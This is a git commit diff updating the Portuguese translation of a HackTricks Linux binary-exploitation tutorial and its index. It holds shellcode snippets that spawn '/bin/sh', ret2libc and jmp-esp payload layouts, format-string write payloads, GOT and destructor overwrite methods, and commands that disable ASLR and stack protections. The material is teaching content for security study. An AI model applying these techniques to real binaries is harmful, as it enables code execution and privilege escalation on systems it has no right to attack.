Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin

This commit is contained in:
Translator 2024-03-29 12:45:29 +00:00
parent 19f2e032f3
commit 5dae7c5209
10 changed files with 924 additions and 236 deletions

View file

@ -693,14 +693,22 @@
* [Common API used in Malware](reversing/common-api-used-in-malware.md) * [Common API used in Malware](reversing/common-api-used-in-malware.md)
* [Word Macros](reversing/word-macros.md) * [Word Macros](reversing/word-macros.md)
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) * [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md) * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md) * [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md) * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [Exploiting Tools](exploiting/tools/README.md) * [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md) * [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)

View file

@ -1,62 +1,19 @@
# Exploração Linux (Básico) (SPA) # Exploração no Linux (Básico)
## Exploração Linux (Básico) (SPA)
<details> <details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks: Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
## **ASLR**
Aleatorização de Endereços
**Desativar aleatorização (ASLR) GLOBAL (root)**:\
echo 0 > /proc/sys/kernel/randomize\_va\_space\
Reativar aleatorização GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space
**Desativar para uma execução** (não requer root):\
setarch \`arch\` -R ./exemplo argumentos\
setarch \`uname -m\` -R ./exemplo argumentos
**Desativar proteção de execução na pilha**\
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo
**Arquivo Core**\
ulimit -c unlimited\
gdb /exec arquivo_core\
/etc/security/limits.conf -> \* soft core unlimited
**Texto**\
**Dados**\
**BSS**\
**Heap**
**Pilha**
**Seção BSS**: Variáveis globais ou estáticas não inicializadas
```
static int i;
```
**Seção DATA**: Variáveis globais ou estáticas inicializadas
```
int i = 5;
```
**Seção TEXT**: Instruções de código (opcodes)
**Seção HEAP**: Buffers alocados dinamicamente (malloc(), calloc(), realloc())
**Seção STACK**: A pilha (Argumentos passados, strings de ambiente (env), variáveis locais...)
## **1. ESTOUROS DE PILHA** ## **1. ESTOUROS DE PILHA**
> estouro de buffer, sobrecarga de buffer, estouro de pilha, esmagamento de pilha > estouro de buffer, sobrecarga de buffer, estouro de pilha, esmagamento de pilha
@ -77,22 +34,22 @@ objdump -d ./PROGRAMA | grep FUNCION
## **2.SHELLCODE** ## **2.SHELLCODE**
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\ setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1 exit(0); // \_\_NR\_exit 1
xor eax, eax ; clear eax\ xor eax, eax ; limpamos eax\
xor ebx, ebx ; ebx = 0 because there are no arguments to pass\ xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Execute syscall int 0x80 ; Executar syscall
**nasm -f elf assembly.asm** —> Returns a .o file\ **nasm -f elf assembly.asm** —> Retorna um .o\
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\ **ld assembly.o -o shellcodeout** —> Gera um executável com o código assembly e podemos extrair os opcodes com **objdump**\
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes **objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
**Verify that the shellcode works** **Verificar se o shellcode funciona**
``` ```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -106,7 +63,7 @@ Para verificar se as chamadas de sistema estão sendo feitas corretamente, o pro
Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código. Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
EX **TRUCO (/bin/sh)**: EXEMPLO **TRUQUE (/bin/sh)**:
``` ```
jmp 0x1f ; Salto al último call jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string popl %esi ; Guardamos en ese la dirección al string
@ -160,7 +117,7 @@ Consiste em um pequeno código que percorre as páginas de memória associadas a
**Shellcodes Polimórficos** **Shellcodes Polimórficos**
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**: Consistem em shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
``` ```
global _start global _start
_start: _start:
@ -203,7 +160,7 @@ Permite modificar apenas o byte menos significativo do EBP. Pode-se realizar um
Método útil quando o stack não é executável ou deixa um buffer muito pequeno para modificar. Método útil quando o stack não é executável ou deixa um buffer muito pequeno para modificar.
O ASLR faz com que, em cada execução, as funções sejam carregadas em posições diferentes da memória. Portanto, esse método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil. O ASLR faz com que, em cada execução, as funções sejam carregadas em posições diferentes na memória. Portanto, esse método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.
* **cdecl (C declaration)** Coloca os argumentos no stack e limpa a pilha após sair da função * **cdecl (C declaration)** Coloca os argumentos no stack e limpa a pilha após sair da função
* **stdcall (standard call)** Coloca os argumentos na pilha e é a função chamada que limpa a pilha * **stdcall (standard call)** Coloca os argumentos na pilha e é a função chamada que limpa a pilha
@ -221,17 +178,17 @@ Para encontrar os endereços necessários, pode-se olhar dentro do **GDB:**\
Uma vez que tenhamos esses endereços, o **exploit** ficaria assim: Uma vez que tenhamos esses endereços, o **exploit** ficaria assim:
“A” \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço de **system** (sobrescreverá o EIP) + Endereço de **exit** (ao sair de system(“/bin/sh”), esta função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “**/bin/sh**” (será o parâmetro passado para system) “A” \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço do **system** (sobrescreverá o EIP) + Endereço do **exit** (ao sair de system(“/bin/sh”), esta função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “**/bin/sh**” (será o parâmetro passado para system)
Dessa forma, o EIP será sobrescrito com o endereço de system, que receberá a string “/bin/sh” como parâmetro e, ao sair disso, executará a função exit(). Dessa forma, o EIP será sobrescrito com o endereço de system, que receberá a string “/bin/sh” como parâmetro e, ao sair disso, executará a função exit().
É possível encontrar a situação em que algum byte de algum endereço de alguma função seja nulo ou um espaço (\x20). Nesse caso, pode-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4). É possível encontrar a situação em que algum byte de algum endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, pode-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4).
Este método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para retornar. Este método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para retornar.
Uma técnica interessante com este método é chamar **strncpy()** para mover um payload do stack para o heap e, posteriormente, usar **gets()** para executar esse payload. Uma técnica interessante com este método é chamar **strncpy()** para mover um payload do stack para o heap e, posteriormente, usar **gets()** para executar esse payload.
Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Funciona ou funcionava no BDS, MacOS e OpenBSD, mas não no Linux (controla que não seja possível conceder permissões de escrita e execução ao mesmo tempo). Com esse ataque, seria possível reconfigurar a pilha como executável. Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Funciona ou funcionava no BDS, MacOS e OpenBSD, mas não no Linux (controla que não seja possível conceder permissões de escrita e execução ao mesmo tempo). Com esse ataque, seria possível reconfigurar o stack como executável.
**Encadeamento de funções** **Encadeamento de funções**
@ -255,17 +212,17 @@ o 2ºEBP seria: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
Essa shellcode pode ser repetida indefinidamente nas partes da memória às quais se tem acesso, de modo que uma shellcode facilmente divisível em pequenos pedaços de memória seja obtida. Essa shellcode pode ser repetida indefinidamente nas partes da memória às quais se tem acesso, de modo que uma shellcode facilmente divisível em pequenos pedaços de memória seja obtida.
(A execução de funções é encadeada misturando as vulnerabilidades de EBP e ret2lib vistas anteriormente) (A execução de funções é encadeada misturando as vulnerabilidades vistas anteriormente de EBP e de ret2lib)
## **5. Métodos complementares** ## **5. Métodos complementares**
**Ret2Ret** **Ret2Ret**
Útil quando não é possível inserir um endereço do stack no EIP (verifica-se que o EIP não contenha 0xbf) ou quando não é possível calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (a shellcode irá aqui). Útil quando não se pode inserir um endereço do stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não se pode calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (a shellcode irá aqui).
Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima direção será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada. Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima direção será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada.
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início da shellcode, pois o endereço do argumento passado é colocado na pilha) O exploit seria: SHELLCODE + Preenchimento (até EIP) + **\&ret** (os próximos bytes da pilha apontam para o início da shellcode, pois o endereço do argumento passado é colocado na pilha)
Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde a shellcode estava armazenada, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena a shellcode) é alterado por um 0x00, então, ao chamar o segundo **ret**, encontra um 0x00 e o programa falha. Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde a shellcode estava armazenada, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena a shellcode) é alterado por um 0x00, então, ao chamar o segundo **ret**, encontra um 0x00 e o programa falha.
``` ```
@ -273,43 +230,27 @@ Parece que funções como **strncpy**, uma vez completas, removem da pilha o end
``` ```
**Técnica de Murat** **Técnica de Murat**
Se não tivermos controle sobre o primeiro argumento, mas sim sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço de pop-ret ou pop-pop-ret, conforme necessário. Se não tivermos controle sobre o primeiro argumento, mas tivermos sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço de pop-ret ou pop-pop-ret, conforme necessário.
Em Linux, todos os programas são mapeados começando em 0xbfffffff. Em sistemas Linux, todos os programas são mapeados a partir de 0xbfffffff.
Ao observar como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode) Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode)
Dessa forma, é facilmente obtido o endereço onde a variável de ambiente com a shellcode está localizada. Dessa forma, é possível obter facilmente o endereço onde a variável de ambiente com a shellcode está localizada.
Isso é possível devido à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas. Isso é viável devido à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
**Jump to ESP: Estilo Windows** **Jump to ESP: Estilo Windows**
Como o ESP está sempre apontando para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada para **jmp esp** ou **call esp**. Dessa forma, a shellcode é salva após a sobrescrita do EIP, pois após a execução do **ret**, o ESP estará apontando para o próximo endereço, onde a shellcode foi armazenada. Como o ESP sempre aponta para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada a **jmp esp** ou **call esp**. Assim, a shellcode é salva após a sobrescrita do EIP, pois após a execução do **ret**, o ESP estará apontando para o próximo endereço, onde a shellcode foi armazenada.
Caso o ASLR não esteja ativado no Windows ou Linux, é possível chamar **jmp esp** ou **call esp** armazenados em algum objeto compartilhado. Se o ASLR estiver ativado, pode-se procurar dentro do próprio programa vulnerável. Caso o ASLR não esteja ativado no Windows ou Linux, é possível chamar **jmp esp** ou **call esp** armazenadas em algum objeto compartilhado. Se o ASLR estiver ativado, pode-se procurar dentro do próprio programa vulnerável.
Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se estivesse no meio da pilha da função). Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se estivesse no meio da pilha da função).
De forma semelhante, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, podemos chamar **call eax** ou **jmp eax (ret2eax).** De maneira semelhante, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, é possível chamar **call eax** ou **jmp eax (ret2eax).**
**ROP (Programação Orientada a Retorno) ou pedaços de código emprestados** **Estouros de Inteiros**
Os trechos de código invocados são conhecidos como gadgets.
Essa técnica consiste em encadear diferentes chamadas de funções usando a técnica **ret2libc** e o uso de **pop,ret**.
Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (como o MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanho variável e várias instruções podem compartilhar um conjunto de bits, por exemplo:
**movl $0xe4ff, -0x(%ebp)** —> Contém os bytes 0xffe4, que também podem ser traduzidos como: **jmp \*%esp**
Dessa forma, é possível executar algumas instruções que nem mesmo estão no programa original.
**ROPgadget.py** ajuda a encontrar valores em binários.
Este programa também é útil para criar os **payloads**. Você pode fornecer a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python, ao qual você fornece o endereço da biblioteca desejada e o payload estará pronto para ser usado como shellcode. Além disso, como ele usa chamadas de sistema, não executa nada na pilha, apenas vai armazenando endereços de ROPs que serão executados por meio de **ret**. Para usar esse payload, é necessário chamar o payload por meio de uma instrução **ret**.
**Estouro de inteiros**
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o fornecido, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo: Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o fornecido, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
```c ```c
@ -346,11 +287,11 @@ Esse tipo de overflow não busca escrever algo no processo do programa, mas sim
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante. Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
## **Strings de Formatação** ## **Strings de Formato**
Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto. Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
A vulnerabilidade ocorre quando um **texto do atacante é colocado como o primeiro argumento** para essa função. O atacante poderá criar uma **entrada especial abusando** das capacidades de **string de formato printf** para **escrever qualquer dado em qualquer endereço**. Dessa forma, sendo capaz de **executar código arbitrário**. A vulnerabilidade ocorre quando um **texto do atacante é colocado como o primeiro argumento** para essa função. O atacante poderá criar uma **entrada especial abusando** das **capacidades de string de formato do printf** para **escrever qualquer dado em qualquer endereço**. Dessa forma, sendo capaz de **executar código arbitrário**.
Formatadores: Formatadores:
```bash ```bash
@ -362,7 +303,7 @@ Formatadores:
%hn —> Occupies 2 bytes instead of 4 %hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 <n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
``` ```
**`%n`** **escreve** o **número de bytes escritos** no **endereço indicado. Escrever** tantos **bytes** quanto o número hexadecimal que precisamos **escrever é como você pode escrever qualquer dado**. **`%n`** **escreve** o **número de bytes escritos** no **endereço indicado. Escrever** tantos **bytes** quanto o número hexadecimal que precisamos **escrever** é como você pode **escrever qualquer dado**.
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
@ -379,15 +320,15 @@ Observe como após **carregar** o **executável** no GEF você pode **ver** as *
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Usando o GEF você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got: Usando o GEF, você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got:
![](<../../.gitbook/assets/image (621).png>) ![](<../../.gitbook/assets/image (621).png>)
Em um binário, a GOT tem os **endereços das funções ou** da seção **PLT** que irá carregar o endereço da função. O objetivo deste exploit é **sobrescrever a entrada da GOT** de uma função que será executada posteriormente **com** o **endereço** do PLT da função **`system`**. Idealmente, você irá **sobrescrever** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system). Em um binário, a GOT tem os **endereços das funções ou** da seção **PLT** que carregará o endereço da função. O objetivo deste exploit é **sobrescrever a entrada da GOT** de uma função que será executada posteriormente **com** o **endereço** do PLT da função **`system`**. Idealmente, você irá **sobrescrever** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função do sistema).
Se **`system`** **não for usada** pelo script, a função system **não** terá uma entrada na GOT. Neste cenário, você precisará **vazar primeiro o endereço** da função `system`. Se **`system`** **não for usada** pelo script, a função do sistema **não** terá uma entrada na GOT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system`.
A **Tabela de Ligação de Procedimentos** é uma tabela **somente leitura** no arquivo ELF que armazena todos os **símbolos necessários que precisam de resolução**. Quando uma dessas funções é chamada, a **GOT** irá **redirecionar** o **fluxo** para a **PLT** para que possa **resolver** o **endereço** da função e escrevê-lo na GOT.\ A **Tabela de Ligação de Procedimentos** é uma tabela **somente leitura** no arquivo ELF que armazena todos os **símbolos necessários que precisam de resolução**. Quando uma dessas funções é chamada, a **GOT** irá **redirecionar** o **fluxo** para a **PLT** para que possa **resolver** o **endereço** da função e gravá-lo na GOT.\
Então, na **próxima vez** que uma chamada for feita para esse endereço, a **função** é **chamada diretamente** sem precisar resolvê-la. Então, na **próxima vez** que uma chamada for feita para esse endereço, a **função** é **chamada diretamente** sem precisar resolvê-la.
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`** Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
@ -402,7 +343,7 @@ Para escrever o endereço, geralmente são feitos 2 passos: Você **escreve prim
**HOB** é chamado para os 2 bytes mais altos do endereço\ **HOB** é chamado para os 2 bytes mais altos do endereço\
**LOB** é chamado para os 2 bytes mais baixos do endereço **LOB** é chamado para os 2 bytes mais baixos do endereço
Assim, devido ao funcionamento da string de formato, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. Assim, devido ao funcionamento da string de formato, você precisa **escrever primeiro o menor** de \[HOB, LOB\] e depois o outro.
Se HOB < LOB\ Se HOB < LOB\
`[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -459,7 +400,7 @@ Note que seguindo o **exploit anterior** e percebendo que você pode **vazar con
### **DTOR** ### **DTOR**
{% hint style="danger" %} {% hint style="danger" %}
Atualmente é muito **incomum encontrar um binário com uma seção dtor**. Atualmente é muito **raro encontrar um binário com uma seção dtor**.
{% endhint %} {% endhint %}
Os destrutores são funções que são **executadas antes do programa terminar**.\ Os destrutores são funções que são **executadas antes do programa terminar**.\
@ -483,8 +424,8 @@ Atualmente é muito **incomum explorar isso**.
{% endhint %} {% endhint %}
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ **`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** do **processo**, mas atualmente isso é mais complicado.\ Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** do **processo**, mas isso é atualmente mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\ Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
### **setjmp() & longjmp()** ### **setjmp() & longjmp()**
@ -498,71 +439,29 @@ Atualmente é muito **incomum explorar isso**.
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\ Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\ O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\
Eles são úteis para recuperação de erros ou interrupções.\ Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou também poderia modificar EBP para modificar o ESP. No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
**VTable e VPTR em C++** **VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**. Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
